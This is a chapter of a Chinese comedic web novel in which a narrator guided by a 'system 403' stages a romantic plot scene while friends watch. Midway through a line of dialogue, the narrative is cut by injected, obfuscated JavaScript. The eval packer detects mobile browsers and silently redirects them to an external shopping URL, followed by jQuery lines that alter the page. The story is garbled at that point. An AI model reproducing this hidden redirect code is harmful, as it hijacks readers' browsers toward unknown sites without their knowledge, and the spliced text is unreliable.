客服说这是剧情需要。
真的吗?我不信。
我之前说过我是一个很少会感到羞耻的人,这话说的太早了,因为那时候的我没意识到客服的旁白已经从三流言情进化到下流言情了。
这是进化吗?
不,这是火化。
假如把此刻的我丢进火葬场可能烧不出舍利子,但一定能烧出颗怦怦跳正在嘶吼着“客服误我”的心脏。
我艰难地憋出一句话:“老大,你信我,我对你从未有过任何世俗的情感,顶多觊觎一下你的钱包。”
顾大佬也被旁白击倒了。
我从他的眼中看见了相当复杂的情绪,好像三百只蜘蛛同时在他的眼睛里结网,最后化成一种极其庞大的绝望。
老大,我懂你,真的。
我这辈子也没想过自己还能亲身出演这种情节,人家就看亲嘴都要捂耳朵看贴贴都要仰天长啸的纯情小女孩。
【其实之后会拉灯的】
不是拉不拉灯的问题,是你摧毁了我们之间纯洁的革命友谊!
【你们之间还有那种东西吗】
不要质疑我们并不存在的友谊啊!
等等我好像说漏嘴了。
我心虚了一秒,但老大看起来比我更心虚。
他在心虚什么?
难道他是那种都快三十了还会在床底藏小黄书的人?
我鄙夷。
“为什么这么看我。”
顾大佬挺直腰板,身上皱巴巴的西服极大地削减了压迫感,反而让我有点想笑,但显然他的自我认知没到这个层面:“不是要走剧情吗,至少我们应该先拉开这间房的房门。”
他好淡定。
至少此刻的他好淡定。
学弟慢悠悠地晃到我的视野中心:“欸…既然旁白都念完了,那说明这段剧情已经结束了吧,反正之后也要拉灯,这个剧情点演不演重要吗?”
好一个电光火石,好一个针锋相对,我决定给学弟增加三点好感度以代表我对他挺身而出的感动。
“嗯?这恐怕要问403吧,难道剧情走向是苏同学可以决定的了?”
“我确实不知道接下来的剧情走向,但我知道姐姐不喜欢这个剧情。”
“难道其余的剧情她很喜欢?”
“至少比被一个老男人拽进房间好。”
我将倒吸一口凉气让此处发生热岛效应。
别骂了别骂了,这样骂是骂不死人的,我也知道某些00后眼中的90后是元谋人,但学弟你已经纯是人身攻击了啊!
孩子,学姐怕你被打死。
学弟忽然吸了下鼻子,眼底闪着泪光:“姐姐,你觉得呢?”
顾大佬冷冷地看过来:“呵。”
朋友们,不能和苏御这种人做朋友。这种人你和他坐飞机,前脚上飞机后脚他就偷摸摸就把你的降落伞换成塑料袋了。
太坏了,我说他真的太坏了。
我说:“有事情问客服不要问我,我又不是客服,难道答案长我脸上啊。”
403,不是我说你,有时候做客服的要多考虑考虑客户的想法,不能太一意孤行啊,小心我上报朝廷给你穿小鞋啊。
【亲亲,我是系统403不是客服403哦】
那你倒是别“亲亲”来“亲亲”去,人家系统很冷酷无情的啊!
【与时俱进啦~】
我冷脸提问题:“所以现在怎么搞,虽然小苏同学持续不断的挑拨离间,但他说的还算有点道理。你这旁白都出来了,我们还有什么好演的。我们人类最重要的就是随机应变,你这都没给我们留出发挥的空间啊。”
那么多场戏我都是这样的,不要睁着眼睛乱说,当女主很难的。
有时候自己找找原因,来这个世界这么久工作能力有没有涨?有没有认真工作?是不是看戏的时候一直在憋笑就没停过,不要以为我不知道,讲台上看得很清楚!
客服陷入沉思。
客服开始反思。
【提前念了旁白是我的失误,那这样吧,咱这段就当演完了,但是之后的剧情点我还没念呢,还是要演】
轮到我陷入沉思:“不是拉灯了吗?拉灯了还有什么剧情点?”
我们这种-18网站没有人类,个个都是飞头蛮,既然都飞头蛮了还有什么好演的,渲染情绪氛围?
【剧情就像海绵里的水,挤挤总会有的】
我觉得有戏。
按我对此类型小说的普遍认知,之后的剧情很有可能是擦个边或者整点脚趾抠地的文学,擦边也行,反正也没说要擦那条边。
我对顾大佬发出好友申请:“亲亲,组个队呗。”
世界上有四种尺,直尺、卷尺、三角尺,剩下一种叫恬不知耻。
首先我不是受虐狂不会骂自己,其次我对朋友一向友好也不会骂朋友,最后,一些脸皮比较厚的朋友不在此类范围之内。
你猜我说的是谁?
哈哈,是强行跟进来看戏的另外两位观众哦。
被撬开门的休息室内满是暧昧的光线,昏黄中掺杂着浅浅的紫,有些像黄昏时被紫布罩住的一轮落日。
按理来说这种氛围确实能让我小小的心猿意马一下,毕竟女人都是大野狼,在顾大佬这种级别的美色前不动摇就不是女人了。
但苏御在。
但林微薇在。
我觉得林微薇应该很后悔上来的时候没抓一把瓜子,虽然晚宴现场应该不会有瓜子,但作为恶毒女配给服务员撒钱威逼利诱对方去买瓜子…这是林微薇能做到的事情。
因为十分钟前她试图贿赂经过的服务员,但被对方以“对不起林小姐,附近没有便利店”为理由拒绝了。
林小姐说:“你以为你拒绝的是谁的瓜子,是女配的瓜子!”
服务员说:“林小姐,我拒绝的是小费,不是瓜子。”
我说:“你们这儿也看神爱人人爱鱼?”
不好意思,因为我个人也对瓜子有非分之想所以关注度稍微高了一点——咳、其实现在最重要的是坐在沙发边上的顾大佬,作为接下来这场戏的绝对男主角,他的脸色不太好看。
嗯…毕竟顾大佬没有下海的意愿,被围观拍亲密戏很难不尴尬。
没关系,作为小白花女主,咱的脸皮已经在一次又一次撒开脚丫子狂奔的剧情里磨练出来了,假如顾大佬还不习惯只能说明这人心理承受能力有待提高,我的意思是我不会出钱给他请心理医生的。
我大马金刀地往沙发上一坐,用力拍拍身边的位置:“老大别坐那么远嘛,就当是文艺汇演啦。”
顾大佬缓缓闭眼:“现在的文艺汇演还有这种情节?”
“可
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480043|201683||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
能是你们那时候没有玩话剧演出?”我实话实说,“之前排话剧的时候有很多借位啊。”
我指指学弟,又指指远在天边不在眼前的师哥:“他俩肯定也排过。”
特别是外语社,语言好的有点姿色的绝对要被提溜上阵,小女子不才,常常在其中领到角色。
“所以说他和我们有代沟嘛,”学弟懒洋洋地倒坐在椅子上,头搁在椅背上一晃一晃,“姐姐之前总是不信。”
人家只是比我们大几岁不是有老人味!
我随手抽了张纸捏成团,精准命中学弟的脑门:“看戏就安静点,之前出去看音乐会也没见你话这么多。”
顾大佬被气笑了:“情节倒是无所谓,我更在意的是他们。”
您还是有所谓一点吧。
我欲言又止。
林微薇举手:“这种戏码要是演过头擦枪走火了怎么办,我要保障挚友的人身安全!”
我:“挚友?我吗?”
她:“欸嘿,是哦。”
面对这份真挚的友情,学弟无动于衷,学弟冷嘲热讽,学弟挑拨离间。
不是我说,学弟你真的很装。
认识这么长时间,我第一次知道他如此愤世嫉俗,实在不行取一百来个笔名去写讽刺小说吧。我都帮他想好了,原名苏御笔名许木人,为什么是许木人,因为孩子大了随母姓。
没有说顾庭深不装的意思。
除了师哥之外的两位都是装货,我建议他们去沃尔玛当购物袋,助力零元购也可以,实在不行我支持他们去综艺节目,我将会在边上说“你装完了吗”。
…这些想法显得我太阴暗了,其实我不是这种人,人家一向温柔体贴没有什么坏心思的啦。
温柔体贴的我试图把剧情拉回正轨:“还有人记得我们进来是为了走剧情不是为了真人斗殴吗?”
真的想继续请去练舞室打,我这边提供一分钱作为赞助。
学弟直视我的眼睛用心灵怒吼“Lookmyeyes”,最终还是发挥出绿茶本色:“我只是担心姐姐~”
我真诚道:“弟啊,你该更新一下语录了,现在不流行这个模板哈,现在流行的是‘你的嘴真大啊’。”
此话为假。
这个也不流行了。
但我不能说“御御水灵”吧。
总之我成功地将镜头拉回顾庭深身上,他看起来又死了一会儿了,当然不排除这是一种独特的社畜气质,上班哪有不疯的,顾大佬都没秃顶就算很强了!
呃,二十八岁应该还没到秃顶的年纪?但他是学计算机的欸。
阿弥陀佛我是好人,没有嘲笑任何人的意思,我真的是好人。
我安慰顾大佬:“我妈说了,把台下的人当大白菜就行。”
顾大佬嘴角抽搐:“你见过坐在椅子上盯着你的大白菜和开红酒恨不得一瓶吹的大白菜吗?”
我继续安慰:“这就是你的不对了,世界之大无奇不有,我们要相信一切皆有可能。”
好像我的安慰没什么效果。
但没关系,尽人事听天命,我做了就不能道德绑架我!
我从容地敲客服:“演员准备完毕,剧本发一下,咱虽然没有具体台词但也有大致情节吧。”
【哦哦,戏太好看我忘记发台本了】
【Start!】